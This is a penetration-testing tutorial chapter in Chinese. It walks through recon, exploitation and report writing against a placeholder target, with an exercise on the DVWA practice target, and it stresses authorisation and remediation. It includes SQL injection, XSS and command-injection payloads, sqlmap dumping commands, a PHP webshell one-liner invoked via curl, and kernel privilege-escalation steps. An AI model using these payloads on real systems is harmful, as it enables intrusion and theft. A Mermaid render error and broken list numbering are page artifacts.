第7章:实战演练 — 一次完整的渗透测试

本章目标:模拟一次真实的渗透测试全流程——从信息收集到报告撰写,完整走一遍。


7.1 渗透测试的标准流程

📋 授权与范围确认

🔍 信息收集

🔎 漏洞发现

💥 漏洞验证

📈 权限提升

🔄 横向移动

📝 报告编写

🧹 清除痕迹

阶段 目标 关键活动 投入时间
📋 授权 获取书面许可,明确测试范围 签保密协议、定规则 前期
🔍 信息收集 尽可能多地了解目标 域名查询、端口扫描、目录枚举 40%
🔎 漏洞发现 找到潜在漏洞 漏洞扫描、手工测试 30%
💥 漏洞验证 证明漏洞存在 利用漏洞、获取权限 15%
📈 权限提升 获取更高权限 提权exp、密码提取 5%
🔄 横向移动 扩大战果 内网探测 5%
📝 报告编写 清晰呈现结果 写报告,给修复建议 5%

🗣️ 作者说信息收集其实占渗透测试 40% 的时间!新手往往急着"搞事情"(漏洞利用),但老手知道——信息越充分,后面的攻击越轻松。


7.2 信息收集 — 知己知彼,百战不殆

🌐 外网信息收集矩阵

信息收集

域名信息

whois查询

DNS记录

子域名枚举

IP信息

端口开放

服务指纹

操作系统

Web信息

技术栈识别

目录结构

Robots.txt

备份文件

旁站信息

C段扫描

备案信息

员工信息

邮箱地址

社交账号

GitHub泄露

实操:以 target.com 为例

Step 1: 基础信息收集

# 1. WHOIS查询
whois target.com
# 看: 注册人、注册邮箱、DNS服务器、注册日期

# 2. DNS解析
nslookup target.com        # A记录(IP地址)
nslookup -type=mx target.com  # 邮件服务器
nslookup -type=ns target.com  # 域名服务器

# 3. 子域名枚举
# 使用 Sublist3r
sublist3r -d target.com
# 或者用 Amass
amass enum -d target.com

Step 2: 端口扫描

# 快速端口扫描
nmap -sS -sV -T4 target.com

# 全端口扫描(慢但全面)
nmap -p- -sV target.com -oN full_scan.txt

Step 3: Web指纹识别

# 使用 WhatWeb
whatweb target.com
# 输出: [200 OK] Apache[2.4.41], PHP[7.4.3], Joomla[3.9.18]

# 或者用 Wappalyzer(浏览器插件)
# 安装了就能在浏览器工具栏上看到网站的技术栈

Step 4: 目录扫描

# 使用 Gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# 常见发现:
# /admin/           → 管理后台
# /backup/          → 备份文件
# /api/             → API接口
# /uploads/         → 上传目录
# /.git/config      → Git泄露
# /.env             → 环境变量泄露
# /robots.txt       → 可能暴露隐藏路径

📝 信息收集清单

把下面这个清单当成你的"侦察"检查表:

✅ 域名信息
   □ WHOIS 注册信息
   □ DNS 记录 (A, MX, NS, CNAME)
   □ 子域名列表
   □ 相关域名(同一个公司注册的其他域名)

✅ 网络信息
   □ IP地址列表
   □ 开放端口清单(22/80/443/3306/8080...)
   □ 每个端口上的服务版本
   □ 操作系统类型和版本
   □ CDN/WAF 信息

✅ Web应用信息
   □ Web服务器类型和版本(Apache/Nginx/IIS)
   □ 后端语言(PHP/Java/Python/Node.js)
   □ 框架(Spring/Django/Laravel/WordPress)
   □ 前端框架(React/Vue/Angular)
   □ 认证方式(登录页/Session/Token/JWT)
   □ 发现的路径/文件列表
   □ robots.txt 内容

✅ 技术细节
   □ 邮件服务器(MX记录)
   □ 第三方服务(CDN, 分析工具, S3)
   □ SSL证书信息(颁发者、有效期)
   □ 错误页面信息泄露

7.3 漏洞发现 — 用工具和手工配合

🔎 自动化扫描

# 1. 使用 Nikto(老牌Web扫描器)
nikto -h http://target.com

# 2. 使用 OWASP ZAP(免费替代Burp Scanner)
# 图形界面操作: 启动ZAP → 输入目标URL → 点击Attack

# 3. Nmap漏洞脚本
nmap --script vuln target.com

✋ 手工重点测试(按照优先级)

当自动化扫描结束后,安全测试的真正价值在于手工测试:

渲染错误: Mermaid 渲染失败: Parse error on line 6: ... A --> F[5. 配置类

手工测试清单

每个用户输入框:
  - 测试SQL注入: ' " ) ; --
  - 测试XSS: <script>alert(1)</script> <img src=x onerror=alert(1)>
  - 测试命令注入: ; whoami | id && ping
  - 测试模板注入: {{7*7}} ${7*7}

每个带ID的请求:
  - 测试IDOR: 修改 user_id/order_id/document_id
  - 测试水平越权: 登录A,操作B的资源
  - 测试垂直越权: 普通用户尝试访问admin功能

每个文件上传点:
  - 测试扩展名: .php, .jsp, .war, .exe
  - 测试N重绕过: .php.jpg, .php;.jpg, .php%00.jpg

每个API接口:
  - 测试HTTP方法: GET/POST/PUT/DELETE/OPTIONS
  - 测试认证: 去掉Token还能访问吗?
  - 测试参数: 添加/删除/修改参数
  - 测试批量: 能不能一次性获取大量数据?

7.4 漏洞利用 — 证明危害

找到漏洞后,"如何证明它的危害"是渗透测试的关键一步。

💥 漏洞利用示例

利用环节

发现环节

发现SQL注入

发现管理员登录页面

爆破admin密码
或通过SQL注入获取

登录管理后台

管理后台有文件上传

上传webshell

服务器被控制!

场景一:SQL注入获取管理员密码

# 目标: 通过SQL注入获取admin用户的密码

# Step 1: 确认注入点
# 输入: 1' OR 1=1 --  → 返回了所有用户信息

# Step 2: 使用SQLMap全面获取
sqlmap -u "http://target.com/user?id=1" --dbs
sqlmap -u "http://target.com/user?id=1" -D target_db -T users --dump

# Step 3: 拿到admin密码哈希
# Hash: 5f4dcc3b5aa765d61d8327deb882cf99
# 这是MD5(password) → 用在线MD5解密 → "password"

# Step 4: 用admin/password登录管理后台
curl -c cookies.txt -b cookies.txt -X POST "http://target.com/admin/login" \
  -d "username=admin&password=password"

# Step 5: 登录成功!获得管理后台访问权限

场景二:枚举管理后台找到上传点

# 使用Gobuster扫描管理后台
gobuster dir -u http://target.com/admin/ -w /usr/share/wordlists/dirb/common.txt

# 发现: /admin/upload.php → 文件上传功能

# 尝试上传PHP webshell
# 先用Burp拦截上传请求
# 修改filename为shell.php
# 修改Content-Type为image/jpeg
# POST文件中写入:
<?php system($_REQUEST['cmd']);?>

# 如果上传成功:
curl "http://target.com/admin/uploads/shell.php?cmd=whoami"
# 返回: www-data ✅ 获得了命令执行!

场景三:低权限提权(Linux)

# 已经在目标服务器上有了www-data权限

# 查看内核版本
uname -a
# Linux target 4.4.0-116-generic

# 搜索对应的提权EXP
searchsploit linux 4.4.0

# 发现: CVE-2017-16995 (Linux Kernel 4.4.0 本地提权)
# 编译并运行提权EXP
gcc exploit.c -o exploit
./exploit

# 检查权限
whoami
# root ✅ 获得root权限!

7.5 报告编写 — 让你的发现"值钱"

📋 为什么报告很重要?

安全测试的价值,不在你发现了多少漏洞,而在于你能不能让别人理解这些漏洞的风险

一个"坏"报告和"好"报告的区别:

❌ 坏报告 ✅ 好报告
漏洞描述 “有SQL注入” “用户登录框的username参数存在基于错误的SQL注入,可被用于获取数据库中的用户凭据”
风险说明 “很危险” “可导致约12万条用户记录(含加密密码和手机号)被窃取”
复现步骤 “1. 输入单引号” “Step1-3 详细操作说明 + Burp请求截图”
修复建议 “修复SQL注入” “建议使用参数化查询,具体修改方式见PHP代码示例”

📝 安全测试报告模板

┌─────────────────────────────────────────────────────┐
│          安全渗透测试报告                             │
│          Target: xxx.com                            │
│          测试日期: 2024-01-01 至 2024-01-05          │
│          报告日期: 2024-01-06                        │
│          测试人员: 安全测试团队                       │
└─────────────────────────────────────────────────────┘

目 录
═══════════════════════════════════════════
1. 概要
2. 测试范围
3. 风险评估汇总
4. 高危漏洞详情
5. 中危漏洞详情  
6. 低危漏洞详情
7. 信息泄露/建议
8. 修复建议汇总
9. 附录

═══════════════════════════════════════════

1. 概要
─────────────────────────────────
本次渗透测试对 xxx.com 进行了全面的安全评估,
共发现 12 个安全问题,其中:
- 🔴 高危: 3 个
- 🟡 中危: 5 个  
- 🟢 低危: 4 个

2. 测试范围
─────────────────────────────────
- 主域名: https://www.xxx.com
- API域名: https://api.xxx.com
- 排除: 第三方支付接口、邮件服务器

3. 风险评估汇总
─────────────────────────────────
┌──────────┬────────┬──────────┬──────────┐
│ 漏洞类型  │ 数量   │ 最高风险 │ 影响范围 │
├──────────┼────────┼──────────┼──────────┤
│ SQL注入  │   1    │   🔴    │ 数据库   │
│ XSS       │   2    │   🟡    │ 用户端   │
│ IDOR      │   2    │   🔴    │ 用户数据 │
│ 信息泄露  │   4    │   🟢    │ 无       │
│ 配置错误  │   3    │   🟡    │ 服务器   │
└──────────┴────────┴──────────┴──────────┘

4. 高危漏洞详情
─────────────────────────────────

==== 漏洞 #001: SQL注入 ====
┌──────────────────────────────────┐
│ 风险等级:  ■■■■■ 高危            │
│ 漏洞类型:  SQL注入               │
│ 漏洞位置:  /api/user/getInfo     │
│ 参数:      user_id               │
│ CVSS分数:  9.1                   │
└──────────────────────────────────┘

【漏洞描述】
/user/getInfo 接口的 user_id 参数未做任何过滤,
直接拼接到SQL查询中,攻击者可以通过构造恶意参数
获取数据库中所有用户信息,包括密码哈希。

【复现步骤】
1. 登录系统,获取有效的访问Token
2. 发送以下请求:
   GET /api/user/getInfo?user_id=1' OR '1'='1
   Authorization: Bearer [Token]
3. 响应中返回了所有用户的信息,包括密码字段

【漏洞截图】
[图片: Burp Suite 请求/响应截图]

【影响范围】
- 影响约50,000条用户记录
- 包含加密密码、手机号、邮箱等敏感信息

【修复建议】
将 user_id 参数使用参数化查询方式处理。
代码示例:
```python
# 修改前:
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

# 修改后:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

═══════════════════════════════════════════

  1. 中危漏洞详情
    ─────────────────────────────────
    [… 类似格式 …]

═══════════════════════════════════════════

  1. 修复建议汇总
    ─────────────────────────────────
    ┌──────────────┬────────────────────┬────────┬────────┐
    │ 漏洞编号 │ 修复类型 │ 优先级 │ 预估工时 │
    ├──────────────┼────────────────────┼────────┼────────┤
    │ #001 SQL注入 │ 修改SQL查询方式 │ P0紧急 │ 4h │
    │ #002 IDOR │ 添加权限验证 │ P0紧急 │ 8h │
    │ #003 XSS │ 添加输出编码 │ P1高 │ 2h │
    │ … │ │ │ │
    └──────────────┴────────────────────┴────────┴────────┘

═══════════════════════════════════════════

  1. 附录
    ─────────────────────────────────
    A. 使用的工具清单
    B. 测试账号信息
    C. 测试时间线
    D. 风险评级标准说明

---

## 7.6 实战总结:渗透测试的完整性检查

### ✅ 渗透测试执行清单

【前期准备】
□ 获取书面授权(绝对不能少!)
□ 确认测试范围(哪些IP/域名/功能)
□ 确定测试规则(不能搞崩、不能改数据)
□ 建立沟通渠道(发现严重问题了通知谁)

【信息收集】
□ 全面子域名收集
□ 端口扫描 + 服务识别
□ Web指纹识别
□ 目录/文件枚举
□ 技术栈漏洞搜索

【漏洞测试】
□ 自动化扫描(ZAP/Burp Scanner/Nikto)
□ 手工验证每个输入点(SQL/XSS/命令注入)
□ 测试所有认证接口(暴力/越权/Session)
□ 测试业务逻辑漏洞
□ 测试文件上传/下载功能
□ 测试API接口安全性

【漏洞利用】
□ 高危漏洞尽量利用到"证明危害"级别
□ 记录完整的复现步骤
□ 保存所有截图/请求记录

【报告输出】
□ 完整的渗透测试报告
□ 漏洞汇总表(按风险等级排序)
□ 每个漏洞的详细描述+复现步骤+修复建议
□ 汇报并解答问题

【清理工作】
□ 删除上传的测试文件
□ 清理测试用的账号
□ 恢复修改过的配置
□ 确认测试痕迹已清除


---

## 📝 本章小结

> **"渗透测试的价值,不在于你能黑到什么程度,而在于你能帮助组织提高多少安全水位。"**

```mermaid
flowchart LR
    A[信息收集<br>40%时间] --> B[漏洞发现<br>30%时间]
    B --> C[漏洞验证<br>15%时间]
    C --> D[报告编写<br>5%时间]
    D --> E[交付价值<br>100%]
    
    style E fill:#51cf66,color:#fff

🧠 本章练习

综合练习题:模拟渗透测试
使用 DVWA 作为靶机,完成一次完整的渗透测试:

  1. 信息收集:扫描DVWA的端口、识别技术栈
  2. 漏洞发现:至少找到3个不同类型的漏洞
  3. 漏洞利用:利用SQL注入获取管理员密码
  4. 权限提升:尝试通过文件上传获取webshell
  5. 报告编写:写一份完整的渗透测试报告(至少包含1个高危、1个中危漏洞)

继续下一章 → 代码审计与安全开发生命周期

Logo

CANN开发者社区旨在汇聚广大开发者,围绕CANN架构重构、算子开发、部署应用优化等核心方向,展开深度交流与思想碰撞,携手共同促进CANN开放生态突破!

更多推荐